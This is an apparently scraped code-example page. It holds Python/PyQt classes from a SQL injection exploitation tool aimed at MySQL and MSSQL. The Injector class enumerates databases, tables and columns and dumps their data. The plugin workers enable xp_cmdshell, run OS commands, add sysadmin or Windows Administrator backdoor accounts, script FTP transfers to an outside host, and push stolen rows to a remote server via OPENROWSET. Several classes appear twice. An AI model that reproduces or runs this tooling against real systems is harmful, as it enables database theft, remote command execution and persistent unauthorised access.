            if self.isTrue("in(" + ','.join(str(code)
                                            for code in codeList) + ")"):
                if self.isTrue("> " + str(codeList[1])):
                    if self.isTrue("> " + str(codeList[3])):
                        if self.isTrue("> " + str(codeList[4])):
                            self.retSymbol(codeList[5])
                        else:
                            self.retSymbol(codeList[4])
                    else:
                        if self.isTrue("> " + str(codeList[2])):
                            self.retSymbol(codeList[3])
                        else:
                            self.retSymbol(codeList[2])
                else:
                    if self.isTrue("> " + str(codeList[0])):
                        self.retSymbol(codeList[1])
                    else:
                        self.retSymbol(codeList[0])
                return True
            codeList = self.nextCodes(codeList)

        if mode == "lower_letters":
            #y, z
            if self.isTrue("> 121"):
                self.retSymbol(122)
            else:
                self.retSymbol(121)
            return True

        elif mode == "upper_letters":
            #Y, Z
            if self.isTrue("> 89"):
                self.retSymbol(90)
            else:
                self.retSymbol(89)
            return True

        elif mode == "numbers":
            #6, 7, 8, 9
            if self.isTrue("> 56"):
                self.retSymbol(57)
            else:
                if self.isTrue("> 55"):
                    self.retSymbol(56)
                else:
                    if self.isTrue("> 54"):
                        self.retSymbol(55)
                    else:
                        self.retSymbol(54)
            return True

        elif mode == "spec_1":
            #,- . /
            if self.isTrue("> 46"):
                self.retSymbol(47)
            else:
                if self.isTrue("> 45"):
                    self.retSymbol(46)
                else:
                    if self.isTrue("> 44"):
                        self.retSymbol(45)
                    else:
                        self.retSymbol(44)
            return True

        elif mode == "spec_2":
            #@
            self.retSymbol(64)
            return True

        elif mode == "spec_4":
            #{ | } ~
            if self.isTrue("> 125"):
                self.retSymbol(126)
            else:
                if self.isTrue("> 124"):
                    self.retSymbol(125)
                else:
                    if self.isTrue("> 123"):
                        self.retSymbol(124)
                    else:
                        self.retSymbol(123)
            return True

        else:
            if self.isTrue("> 9"):
                self.retSymbol(10)
            else:
                self.retSymbol(9)
            return True

        return False
Esempio n. 7
0
class Injector(QtCore.QThread):

    #---------------Signals---------------#
    logSignal = QtCore.pyqtSignal(str)
    progressSignal = QtCore.pyqtSignal(int, bool)
    dbSignal = QtCore.pyqtSignal(str)
    columnSignal = QtCore.pyqtSignal(str, int)
    rowDataSignal = QtCore.pyqtSignal(int, int, str)
    querySignal = QtCore.pyqtSignal(str, bool)
    tblSignal = QtCore.pyqtSignal(str)

    #----------------------------------------#

    def __init__(self, vars, qstrings):
        QtCore.QThread.__init__(self)
        self.wq = HTTP_Handler()
        self.vars = vars
        self.qstrings = qstrings
        self.killed = False
        self.wq.logSignal.connect(self.logger)

    def run(self):
        self.logSignal.emit("\n+++ TASK STARTED +++")

        #Tables task
        if self.vars['task'] == "tables":
            self.getTables()

        #Databases task
        if self.vars['task'] == "bases":
            self.getBases()

        #Columns task
        if self.vars['task'] == "columns":
            self.getColumns()

        #Query task
        if self.vars['task'] == "query":
            self.runQuery()

        #Dump task
        if self.vars['task'] == "dump":
            self.syncThreads()

        time.sleep(0.1)
        self.progressSignal.emit(0, True)

        self.logSignal.emit("\n--- TASK STOPPED ---")

    def kill(self):
        if self.isRunning():
            self.logSignal.emit("\n\n!!! KILL SIGNAL RECIEVED !!!")
        self.killed = True

    #Log
    def logger(self, strValue, notFunction=True):
        if notFunction:
            self.logSignal.emit(strValue)
            return
        self.logSignal.emit(strValue +
                            "\n - [x] 'no_content' returned by function " +
                            strValue)

    #Current db type selected
    def dbType(self, todo):
        if self.vars['db_type'] == "MySQL":
            if self.vars['inj_type'] == "ERROR-BASED":
                qstring = self.qstrings.value('mysql_error_based/' + todo)
            else:
                qstring = self.qstrings.value('mysql_union_based/' + todo)
        else:
            if self.vars['inj_type'] == "ERROR-BASED":
                qstring = self.qstrings.value('mssql_error_based/' + todo)
            else:
                qstring = self.qstrings.value('mssql_union_based/' + todo)
        return qstring

    #Get current database
    def getCurrDb(self):
        if self.vars['dbListCount'] < 1:
            query = self.wq.buildQuery(self.dbType('curr_db_name'), self.vars)
            db_name = self.wq.httpRequest(query, False, self.vars)
            if db_name == "no_content":
                self.logger(sys._getframe().f_code.co_name + "() -> db_name",
                            False)
                return 'no_db'
            elif db_name == "[---Timed out---]":
                return 'no_db'
            self.dbSignal.emit(db_name)
        else:
            db_name = self.vars['dbName']
        return db_name

    #Getting bases
    def getBases(self):
        #If not in (array) method selected
        if self.vars['notInArray']:
            current_db = self.vars['dbName']

            while not self.killed:
                query = self.wq.buildQuery(self.dbType('get_db_name'),
                                           self.vars, {'cdb': current_db})
                db_name = self.wq.httpRequest(query, False, self.vars)
                if db_name == "no_content":
                    self.logger(
                        sys._getframe().f_code.co_name + "() -> db_name",
                        False)
                    return
                elif db_name == "isnull":
                    break

                current_db += ",'" + db_name + "'"
                self.dbSignal.emit(db_name)

        #not in (substring) method
        else:
            query = self.wq.buildQuery(self.dbType('dbs_count'), self.vars)
            dbCount = self.wq.httpRequest(query, False, self.vars)
            if dbCount == "no_content":
                self.logger(sys._getframe().f_code.co_name + "() -> dbCount",
                            False)
                return

            try:
                dbCount = int(dbCount)
            except ValueError as err:
                self.logger(
                    "\n[x] Something wrong. Check server request and response...\n\n[details]: "
                    + str(err), True)
                return
            if dbCount < 1:
                return

            tQueue = Queue()
            threads = []
            for tNum in range(dbCount):
                tQueue.put(tNum)
            for i in range(self.vars['threads']):
                t = threading.Thread(target=self.mtBases,
                                     args=(tNum, tQueue, dbCount))
                threads.append(t)
                t.start()
                time.sleep(0.1)
            for thread in threads:
                thread.join()

    #Multithread tables
    def mtBases(self, tNum, tQueue, dbCount):
        while not self.killed:
            try:
                tNum = tQueue.get_nowait()
            except Exception:
                break

            query = self.wq.buildQuery(self.dbType('get_db_name2'), self.vars,
                                       {'num': str(tNum)})
            db_name = self.wq.httpRequest(query, False, self.vars)
            if db_name == "no_content":
                self.logger(sys._getframe().f_code.co_name + "() -> db_name",
                            False)
                return

            self.dbSignal.emit(db_name)
            time.sleep(0.1)
            tQueue.task_done()
            self.progressSignal.emit(int(dbCount) - 1, False)

    #Getting tables
    def getTables(self):
        current_db = self.getCurrDb()
        if current_db == 'no_db':
            return

        query = self.wq.buildQuery(self.dbType('tbls_count'), self.vars,\
                                   {'cdb' : current_db})
        tblCount = self.wq.httpRequest(query, False, self.vars)
        if tblCount == "no_content":
            self.logger(sys._getframe().f_code.co_name + "() -> tblCount",
                        False)
            return

        try:
            tblCount = int(tblCount)
        except ValueError as err:
            self.logger(
                "\n[x] Something wrong. Check server request and response...\n\n[details]: "
                + str(err), True)
            return
        if tblCount < 1:
            return

        if self.vars['notInArray']:
            current_table = ""

            while not self.killed:
                query = self.wq.buildQuery(self.dbType('get_tbl_name'), self.vars,\
                                        {'cdb' : current_db, 'ctbl' : current_table})
                table_name = self.wq.httpRequest(query, False, self.vars)
                if table_name == "no_content":
                    self.logger(
                        sys._getframe().f_code.co_name + "() -> table_name",
                        False)
                    return
                elif table_name == "isnull":
                    break

                current_table += ",'" + table_name + "'"
                self.tblSignal.emit(table_name)
                self.progressSignal.emit(tblCount, False)

        else:
            tQueue = Queue()
            threads = []
            for tNum in range(tblCount):
                tQueue.put(tNum)
            for i in range(self.vars['threads']):
                t = threading.Thread(target=self.mtTables,
                                     args=(tNum, tQueue, tblCount, current_db))
                threads.append(t)
                t.start()
                time.sleep(0.1)
            for thread in threads:
                thread.join()

    #Multithread tables
    def mtTables(self, tNum, tQueue, tblCount, current_db):
        while not self.killed:
            try:
                tNum = tQueue.get_nowait()
            except Exception:
                break

            query = self.wq.buildQuery(self.dbType('get_tbl_name2'), self.vars,\
                                        {'cdb' : current_db, 'num' : str(tNum)})
            table_name = self.wq.httpRequest(query, False, self.vars)
            if table_name == "no_content":
                self.logger(
                    sys._getframe().f_code.co_name + "() -> table_name", False)
                return

            self.tblSignal.emit(table_name)
            time.sleep(0.1)
            tQueue.task_done()
            self.progressSignal.emit(int(tblCount) - 1, False)

    #Getitng columns
    def getColumns(self):
        current_db = self.getCurrDb()
        if current_db == 'no_db':
            return

        tables = self.vars['tables']
        #If not in(array) method selected:
        if self.vars['notInArray']:
            for i in range(self.vars['tblTreeCount']):
                current_table = core.txtproc.strToSqlChar(
                    tables[i], self.vars['db_type'])
                current_column = ""

                query = self.wq.buildQuery(self.dbType('columns_count'), self.vars,\
                                           {'cdb' : current_db, 'ctbl' : current_table})
                columnsInTable = self.wq.httpRequest(query, False, self.vars)
                if columnsInTable == "no_content":
                    self.logger(
                        sys._getframe().f_code.co_name +
                        "() -> notInArray -> columnsinTable", False)
                    return

                try:
                    columnsInTable = int(columnsInTable)
                except ValueError as err:
                    self.logger(
                        "\n[x] Something wrong. Check server request and response...\n\n[details]: "
                        + str(err), True)
                    return
                if columnsInTable < 1:
                    return

                while not self.killed:
                    query = self.wq.buildQuery(self.dbType('get_column_name'), self.vars,\
                                           {'cdb' : current_db, 'ctbl' : current_table, 'ccol': current_column})
                    column_name = self.wq.httpRequest(query, False, self.vars)
                    if column_name == "no_content":
                        self.logger(
                            sys._getframe().f_code.co_name +
                            "() -> notInArray -> column_name", False)
                        return
                    elif column_name == "isnull":
                        break

                    current_column += ",'" + column_name + "'"
                    self.columnSignal.emit(column_name, i)
                    self.progressSignal.emit(columnsInTable, False)

        else:
            for i in range(self.vars['tblTreeCount']):
                current_table = core.txtproc.strToSqlChar(
                    tables[i], self.vars['db_type'])

                query = self.wq.buildQuery(self.dbType('columns_count'), self.vars,\
                                           {'cdb' : current_db, 'ctbl' : current_table})
                columnsInTable = self.wq.httpRequest(query, False, self.vars)
                if columnsInTable == "no_content":
                    self.logger(
                        sys._getframe().f_code.co_name +
                        "() -> columnsinTable", False)
                    return

                try:
                    columnsInTable = int(columnsInTable)
                except ValueError as err:
                    self.logger(
                        "\n[x] Something wrong. Check server request and response...\n\n[details]: "
                        + str(err), True)
                    return
                if columnsInTable < 1:
                    return

                for rowid in range(columnsInTable):
                    if self.killed:
                        return

                    #If not in(substring) method selected:
                    if (self.vars['notInSubstring'] or self.vars['LIMIT']):
                        query = self.wq.buildQuery(self.dbType('get_column_name2'), self.vars,\
                                           {'cdb' : current_db, 'ctbl' : current_table, 'num' : str(rowid)})

                    #If ordinal_position method selected:
                    elif self.vars['ordinal_position']:
                        rowid += 1
                        query = self.wq.buildQuery(self.dbType('get_column_name3'), self.vars,\
                                           {'cdb' : current_db, 'ctbl' : current_table, 'num' : str(rowid)})

                    column_name = self.wq.httpRequest(query, False, self.vars)
                    if column_name == "no_content":
                        self.logger(
                            sys._getframe().f_code.co_name +
                            "() -> notInSubstring -> column_name", False)
                        return

                    self.columnSignal.emit(column_name, i)
                    self.progressSignal.emit(int(columnsInTable), False)

    #Run Query
    def runQuery(self):
        #If this select command
        if not self.vars['isStacked']:
            query = self.wq.buildQuery(self.dbType('query'), self.vars)
            result = self.wq.httpRequest(query, False, self.vars)
        else:
            result = "NULL"
            if self.vars['hexed']:
                query = self.wq.buildQuery(
                    self.dbType('exec_hex'), self.vars, {
                        'hex': core.txtproc.strToHex(self.vars['query_cmd'],
                                                     True)
                    })
            else:
                query = self.vars['query_cmd']
            self.wq.httpRequest(query, True, self.vars)
        self.querySignal.emit(result, False)

    #Making synchronized threads for dumper
    def syncThreads(self):
        current_db = self.getCurrDb()
        if current_db == 'no_db':
            return
        columns = self.vars['columns']
        threads = []
        for num in range(len(columns)):
            tQueue = Queue()
            for tNum in range(self.vars['fromPos'] + 1,
                              self.vars['toPos'] + 1):
                tQueue.put(tNum)
            for i in range(self.vars['threads']):
                t = threading.Thread(target=self.doDump,
                                     args=(tNum, tQueue, current_db,
                                           str(columns[num]), num))
                threads.append(t)
                t.start()
                time.sleep(0.1)
        for thread in threads:
            thread.join()

    #Data dumping
    def doDump(self, tNum, tQueue, current_db, column, num):
        while not self.killed:
            try:
                tNum = tQueue.get_nowait()
            except Exception:
                break

            query = self.wq.buildQuery(self.dbType('data_dump'), self.vars, {
                'cdb': current_db,
                'column': column,
                'num': str(tNum)
            })
            rowData = self.wq.httpRequest(query, False, self.vars)
            if rowData == "no_content":
                rowData = "NULL"

            self.rowDataSignal.emit(tNum, num, rowData)
            self.progressSignal.emit(-1, False)
            time.sleep(0.1)
            tQueue.task_done()
Esempio n. 8
0
class Worker(QtCore.QThread):

    taskDoneSignal = QtCore.pyqtSignal()
    logSignal = QtCore.pyqtSignal(str)

    def __init__(self, vars, qstrings):
        QtCore.QThread.__init__(self)
        self.vars = vars
        self.qstrings = qstrings
        self.wq = HTTP_Handler()
        self.wq.logSignal.connect(self.log)

    def log(self, logStr):
        self.logSignal.emit(logStr)

    def run(self):
        self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++")
        #--------Task----------
        """ Runing methods here"""
        self.ftpTransferTask()
        #-----------------------
        time.sleep(0.1)
        self.taskDoneSignal.emit()
        self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***")

    """ Method """

    def ftpTransferTask(self):
        #if defined non-standart ftp port
        ipaddr = self.vars['ip'].replace(":", " ")
        ftpFiles = self.vars['ftpFiles']
        tmp_file = self.vars['ftpPath'] + "xftp.txt"
        qString = self.qstrings.value('mssql_error_based/exec_hex')

        #del ..\temp\ftp.txt /Q
        hex = core.txtproc.strToHex(
            "master..xp_cmdshell 'del " + tmp_file + " /Q'", True)
        query = self.wq.buildQuery(qString, self.vars, {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)

        #echo open 127.0.0.1 21> ..\temp\ftp.txt
        hex = core.txtproc.strToHex(
            "master..xp_cmdshell 'echo open " + ipaddr + "> " + tmp_file + "'",
            True)
        query = self.wq.buildQuery(qString, self.vars, {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)

        #echo login>> ..\temp\ftp.txt
        hex = core.txtproc.strToHex(
            "master..xp_cmdshell 'echo " + self.vars['login'] + ">> " +
            tmp_file + "'", True)
        query = self.wq.buildQuery(qString, self.vars, {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)

        #echo password>> ..\temp\ftp.txt
        hex = core.txtproc.strToHex(
            "master..xp_cmdshell 'echo " + self.vars['password'] + ">> " +
            tmp_file + "'", True)
        query = self.wq.buildQuery(qString, self.vars, {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)

        for file in ftpFiles:
            #Use SEND or GET ftp command?
            if self.vars['ftp_mode'] == "get":
                #echo get file.exe c:\path\file.exe>> ..\temp\ftp.txt
                hex = core.txtproc.strToHex("master..xp_cmdshell 'echo get " + file + " " + self.vars['ftpPath']\
                + file + ">> " + tmp_file + "'", True)
                query = self.wq.buildQuery(qString, self.vars, {'hex': hex})
            else:
                #echo send c:\path\file.exe>> ..\temp\ftp.txt
                hex = core.txtproc.strToHex(
                    "master..xp_cmdshell 'echo send " + self.vars['ftpPath'] +
                    file + ">> " + tmp_file + "'", True)
                query = self.wq.buildQuery(qString, self.vars, {'hex': hex})
            self.wq.httpRequest(query, True, self.vars)

        #echo bye>> ..\temp\ftp.txt
        hex = core.txtproc.strToHex(
            "master..xp_cmdshell 'echo bye>> " + tmp_file + "'", True)
        query = self.wq.buildQuery(qString, self.vars, {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)

        #ftp -s:..\temp\ftp.txt IP
        hex = core.txtproc.strToHex(
            "master..xp_cmdshell 'ftp -s:" + tmp_file + "'", True)
        query = self.wq.buildQuery(qString, self.vars, {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)

        #del ..\temp\ftp.txt /Q
        hex = core.txtproc.strToHex(
            "master..xp_cmdshell 'del " + tmp_file + " /Q'", True)
        query = self.wq.buildQuery(qString, self.vars, {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)
Esempio n. 9
0
class Worker(QtCore.QThread):

    taskDoneSignal = QtCore.pyqtSignal()
    logSignal = QtCore.pyqtSignal(str)
        
    def __init__(self, vars, qstrings):
        QtCore.QThread.__init__(self)
        self.vars = vars
        self.qstrings = qstrings
        self.wq = HTTP_Handler()
        self.wq.logSignal.connect(self.log)
        
    def log(self, logStr):
        self.logSignal.emit(logStr)
            
    def run(self):
        self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++")
        #--------Task----------
        self.addUserTask()
        #-----------------------
        time.sleep(0.1)
        self.taskDoneSignal.emit()
        self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***")
        
    def addUserTask(self):
        qString = self.qstrings.value('mssql_error_based/exec_hex')
        if self.vars['type'] == "sql":
            #Adding sql user
            hex = core.txtproc.strToHex("master..sp_addlogin '" + self.vars['username']\
            + "','" + self.vars['password'] + "'", True)
            query = self.wq.buildQuery(qString, self.vars, {'hex' : hex})
            self.wq.httpRequest(query, True, self.vars)
            
            #Adding 'sysadmin' rights for our user
            hex = core.txtproc.strToHex("master..sp_addsrvrolemember '" + self.vars['username']\
            + "','sysadmin'", True)
            query = self.wq.buildQuery(qString, self.vars, {'hex' : hex})
            self.wq.httpRequest(query, True, self.vars)
        else:
            #Adding windows user
            hex = core.txtproc.strToHex("master..xp_cmdshell 'net user " + self.vars['username']\
            + " " + self.vars['password'] + " /ADD'", True)
            query = self.wq.buildQuery(qString, self.vars, {'hex' : hex})
            self.wq.httpRequest(query, True, self.vars)
            
            #Adding windows user to local group 'Administrators'
            hex = core.txtproc.strToHex("master..xp_cmdshell 'net localgroup Administrators "\
            + self.vars['username'] + " /ADD'", True)
            query = self.wq.buildQuery(qString, self.vars, {'hex' : hex})
            self.wq.httpRequest(query, True, self.vars)
Esempio n. 10
0
class Worker(QtCore.QThread):

    logSignal = QtCore.pyqtSignal(str)
    rowDataSignal = QtCore.pyqtSignal(int, int, str)
    connResultSignal = QtCore.pyqtSignal(bool)
    taskDoneSignal = QtCore.pyqtSignal()

    def __init__(self, vars, qstrings):
        QtCore.QThread.__init__(self)
        self.vars = vars
        self.qString = qstrings.value('mssql_error_based/exec_hex')
        self.wq = HTTP_Handler()
        self.wq.logSignal.connect(self.log)
        #if defined non-standart sql server port
        self.connIP = self.vars['ip']
        if ":" in self.connIP:
            self.connIP = self.connIP.replace(":", ",")
        else:
            self.connIP += ",1433"
        #Connection String
        self.connStr = "DRIVER={SQL Server};SERVER=" + self.connIP + ";DATABASE="\
        + self.vars['db'] + ";UID=" + self.vars['username'] + ";PWD=" + self.vars['password']

    def log(self, logStr):
        self.logSignal.emit(logStr)

    def sqlErrorDesc(self, errMsg, errStr):
        try:
            errStr = str(errStr).encode(self.vars['encoding']).decode(
                self.vars['encoding'])
        except Exception:
            pass
        fullStr = errMsg + str(errStr)
        self.logSignal.emit(fullStr)

    def buildTable(self, isMulti, isCMD=False):
        if isMulti:
            columns = self.vars['columns'].split(",")
            column = ""
            for i in range(1, len(columns) + 1):
                column += "result" + str(i) + " varchar(8000) NULL"
                if i < len(columns):
                    column += ","
            createStr = "create table dtpropertie (" + column + ")"
            return createStr
        else:
            createStr = "create table dtpropertie (result varchar(8000) NULL)"
        if isCMD:
            createStr = createStr.replace("dtpropertie", "dtpropertiecmd")
            #delete table if exists
            hex = core.txtproc.strToHex("drop table dtpropertiecmd", True)
            query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex})
            self.wq.httpRequest(query, True, self.vars)

            #Creating table
            hex = core.txtproc.strToHex(createStr, True)
            query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex})
            self.wq.httpRequest(query, True, self.vars)

            #Insert xp_cmdshell output to table
            if self.vars['EXEC']:
                hex = core.txtproc.strToHex(
                    "insert dtpropertiecmd exec " + self.vars['command'], True)
            else:
                hex = core.txtproc.strToHex(
                    "insert dtpropertiecmd exec master..xp_cmdshell '" +
                    self.vars['command'] + "'", True)

            query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex})
            self.wq.httpRequest(query, True, self.vars)
        else:
            return createStr

    def run(self):
        self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++")
        if self.vars['task'] == "connection_test":
            self.connTest()
        elif self.vars['task'] == "enable":
            self.enableFeatures()
        else:
            self.opernrowsetWorker()
        time.sleep(0.1)
        self.taskDoneSignal.emit()
        self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***")

    #Just connection testing
    def connTest(self):
        try:
            pyodbc.connect(self.connStr)
        except pyodbc.Error as sqlError:
            self.sqlErrorDesc(
                "\n[x] Connection error. Task aborted.\n-----Details-----\n ",
                sqlError)
            self.connResultSignal.emit(False)
            return
        self.connResultSignal.emit(True)

    def enableFeatures(self):
        #Enbale xp_cmdshell request
        hex = core.txtproc.strToHex(\
        "sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure", True)
        query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)

        #Enbale openrowset request
        hex = core.txtproc.strToHex(\
        "sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure", True)
        query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)

    def opernrowsetWorker(self):
        multicolumn = False
        if "," in self.vars['columns']:
            multicolumn = True

        if self.vars['CMD']:
            self.buildTable(False, isCMD=True)
            queryStr = "select * from dtpropertiecmd"
            multicolumn = False
        else:
            queryStr = "select " + self.vars['TOP'] + self.vars[
                'columns'] + self.vars['from']

        openrowsetString = "insert into OPENROWSET('" + self.vars['driver'] + "',"\
        "'uid=" + self.vars['username'] + ";pwd=" + self.vars['password'] + ";"\
        "database=" + self.vars['db'] + ";Address=" + self.connIP + ";',"\
        "'select * from dtpropertie')" + queryStr

        #Connect to sql server
        try:
            conn = pyodbc.connect(self.connStr, autocommit=True)
        except pyodbc.Error as sqlError:
            self.sqlErrorDesc(
                "\n[x] Connection error. Task aborted.\n-----Details-----\n ",
                sqlError)
            self.connResultSignal.emit(False)
            return
        self.connResultSignal.emit(True)
        cursor = conn.cursor()

        #Dropping temporary table(if exists)
        try:
            cursor.execute("drop table dtpropertie")
        except pyodbc.DatabaseError:
            pass

        try:
            if not multicolumn:
                #Creating temporary with 1 column
                cursor.execute(self.buildTable(False))
            else:
                #Creating temporary with several columns
                cursor.execute(self.buildTable(True))
        except pyodbc.DatabaseError:
            pass

        #Inserting data into sql server
        hex = core.txtproc.strToHex(openrowsetString, True)
        query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)

        try:
            cursor.execute("select * from dtpropertie")
        except pyodbc.DatabaseError as err:
            self.sqlErrorDesc(
                "\n[x] Error. Task aborted.\n-----Details-----\n ", err)
            return

        rows = cursor.fetchall()
        for x in range(self.vars['columnsCount']):
            y = 0
            for row in rows:
                self.rowDataSignal.emit(y, x, row[x])
                y += 1
            x += 1

        #deleting xp_cmdshell temp table

        if self.vars['CMD']:
            hex = core.txtproc.strToHex("drop table dtpropertiecmd", True)
            query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex})
            self.wq.httpRequest(query, True, self.vars)
Esempio n. 11
0
class Worker(QtCore.QThread):

    taskDoneSignal = QtCore.pyqtSignal()
    logSignal = QtCore.pyqtSignal(str)

    def __init__(self, vars, qstrings):
        QtCore.QThread.__init__(self)
        self.vars = vars
        self.qstrings = qstrings
        self.wq = HTTP_Handler()
        self.wq.logSignal.connect(self.log)

    def log(self, logStr):
        self.logSignal.emit(logStr)

    def run(self):
        self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++")
        #--------Task----------
        self.addUserTask()
        #-----------------------
        time.sleep(0.1)
        self.taskDoneSignal.emit()
        self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***")

    def addUserTask(self):
        qString = self.qstrings.value('mssql_error_based/exec_hex')
        if self.vars['type'] == "sql":
            #Adding sql user
            hex = core.txtproc.strToHex("master..sp_addlogin '" + self.vars['username']\
            + "','" + self.vars['password'] + "'", True)
            query = self.wq.buildQuery(qString, self.vars, {'hex': hex})
            self.wq.httpRequest(query, True, self.vars)

            #Adding 'sysadmin' rights for our user
            hex = core.txtproc.strToHex("master..sp_addsrvrolemember '" + self.vars['username']\
            + "','sysadmin'", True)
            query = self.wq.buildQuery(qString, self.vars, {'hex': hex})
            self.wq.httpRequest(query, True, self.vars)
        else:
            #Adding windows user
            hex = core.txtproc.strToHex("master..xp_cmdshell 'net user " + self.vars['username']\
            + " " + self.vars['password'] + " /ADD'", True)
            query = self.wq.buildQuery(qString, self.vars, {'hex': hex})
            self.wq.httpRequest(query, True, self.vars)

            #Adding windows user to local group 'Administrators'
            hex = core.txtproc.strToHex("master..xp_cmdshell 'net localgroup Administrators "\
            + self.vars['username'] + " /ADD'", True)
            query = self.wq.buildQuery(qString, self.vars, {'hex': hex})
            self.wq.httpRequest(query, True, self.vars)
Esempio n. 12
0
class Worker(QtCore.QThread):

    taskDoneSignal = QtCore.pyqtSignal()
    logSignal = QtCore.pyqtSignal(str)
        
    def __init__(self, vars, qstrings):
        QtCore.QThread.__init__(self)
        self.vars = vars
        self.qstrings = qstrings
        self.wq = HTTP_Handler()
        self.wq.logSignal.connect(self.log)
        
    def log(self, logStr):
        self.logSignal.emit(logStr)
            
    def run(self):
        self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++")
        #--------Task----------
        """ Runing methods here"""
        self.ftpTransferTask()
        #-----------------------
        time.sleep(0.1)
        self.taskDoneSignal.emit()
        self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***")
        
    """ Method """
    def ftpTransferTask(self):
        #if defined non-standart ftp port
        ipaddr = self.vars['ip'].replace(":", " ")
        ftpFiles = self.vars['ftpFiles']
        tmp_file = self.vars['ftpPath'] + "xftp.txt"
        qString = self.qstrings.value('mssql_error_based/exec_hex')
        
        #del ..\temp\ftp.txt /Q
        hex = core.txtproc.strToHex("master..xp_cmdshell 'del " + tmp_file + " /Q'", True)
        query = self.wq.buildQuery(qString, self.vars, {'hex' : hex})
        self.wq.httpRequest(query, True, self.vars)
        
        #echo open 127.0.0.1 21> ..\temp\ftp.txt
        hex = core.txtproc.strToHex("master..xp_cmdshell 'echo open " + ipaddr + "> " + tmp_file + "'", True)
        query = self.wq.buildQuery(qString, self.vars, {'hex' : hex})
        self.wq.httpRequest(query, True, self.vars)
        
        #echo login>> ..\temp\ftp.txt
        hex = core.txtproc.strToHex("master..xp_cmdshell 'echo " + self.vars['login'] + ">> " + tmp_file + "'", True)
        query = self.wq.buildQuery(qString, self.vars, {'hex' : hex})
        self.wq.httpRequest(query, True, self.vars)
        
        #echo password>> ..\temp\ftp.txt
        hex = core.txtproc.strToHex("master..xp_cmdshell 'echo " + self.vars['password'] + ">> " + tmp_file + "'", True)
        query = self.wq.buildQuery(qString, self.vars, {'hex' : hex})
        self.wq.httpRequest(query, True, self.vars)
        
        for file in ftpFiles:
            #Use SEND or GET ftp command?
            if self.vars['ftp_mode'] == "get":
                #echo get file.exe c:\path\file.exe>> ..\temp\ftp.txt
                hex = core.txtproc.strToHex("master..xp_cmdshell 'echo get " + file + " " + self.vars['ftpPath']\
                + file + ">> " + tmp_file + "'", True)
                query = self.wq.buildQuery(qString, self.vars, {'hex' : hex})
            else:
                #echo send c:\path\file.exe>> ..\temp\ftp.txt
                hex = core.txtproc.strToHex("master..xp_cmdshell 'echo send " + self.vars['ftpPath'] +  file + ">> " + tmp_file + "'", True)
                query = self.wq.buildQuery(qString, self.vars, {'hex' : hex})
            self.wq.httpRequest(query, True, self.vars)
            
        #echo bye>> ..\temp\ftp.txt
        hex = core.txtproc.strToHex("master..xp_cmdshell 'echo bye>> " + tmp_file + "'", True)
        query = self.wq.buildQuery(qString, self.vars, {'hex' : hex})
        self.wq.httpRequest(query, True, self.vars)
        
        #ftp -s:..\temp\ftp.txt IP
        hex = core.txtproc.strToHex("master..xp_cmdshell 'ftp -s:" + tmp_file + "'", True)
        query = self.wq.buildQuery(qString, self.vars, {'hex' : hex})
        self.wq.httpRequest(query, True, self.vars)
        
        #del ..\temp\ftp.txt /Q
        hex = core.txtproc.strToHex("master..xp_cmdshell 'del " + tmp_file + " /Q'", True)
        query = self.wq.buildQuery(qString, self.vars, {'hex' : hex})
        self.wq.httpRequest(query, True, self.vars)
Esempio n. 13
0
class Worker(QtCore.QThread):
    
    outputSignal = QtCore.pyqtSignal(int, str, bool, int)
    progressSignal = QtCore.pyqtSignal(int, bool)
    logSignal = QtCore.pyqtSignal(str)
    
    def __init__(self, vars, qstrings):
        QtCore.QThread.__init__(self)
        self.vars = vars
        self.qstrings = qstrings
        self.killed = False
        self.wq = HTTP_Handler()
        self.wq.logSignal.connect(self.log)
        
    def log(self, logStr):
        self.logSignal.emit(logStr)
    
    def kill(self):
        self.killed = True
        
    def run(self):
        self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++")
        if self.vars['task'] == "exec":
            self.xp_cmdshell()
        else:
            self.enable_xp_cmd()
        time.sleep(0.1)
        self.progressSignal.emit(0, True)
        self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***")
    
    def injType(self, query):
        #Define query string for current injection type
        if self.vars['inj_type'] == "union-based":
            qstring = self.qstrings.value('mssql_union_based/' + query)
        else:
            qstring = self.qstrings.value('mssql_error_based/' + query)
        return qstring
        
    def enable_xp_cmd(self):
        hex = core.txtproc.strToHex(\
        "sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure", True)
        query =  self.wq.buildQuery(self.qstrings.value('mssql_error_based/exec_hex'), self.vars, {'hex' : hex})
        self.wq.httpRequest(query, True, self.vars)
        
    def xp_cmdshell(self):
        execStr = self.qstrings.value('mssql_error_based/exec_hex')
        
        #Delete tmp_table if already exist
        hex = core.txtproc.strToHex("drop table dtpropertie", True)
        query = self.wq.buildQuery(execStr, self.vars, {'hex' : hex})
        self.wq.httpRequest(query, True, self.vars)
        
        #Creating tmp table
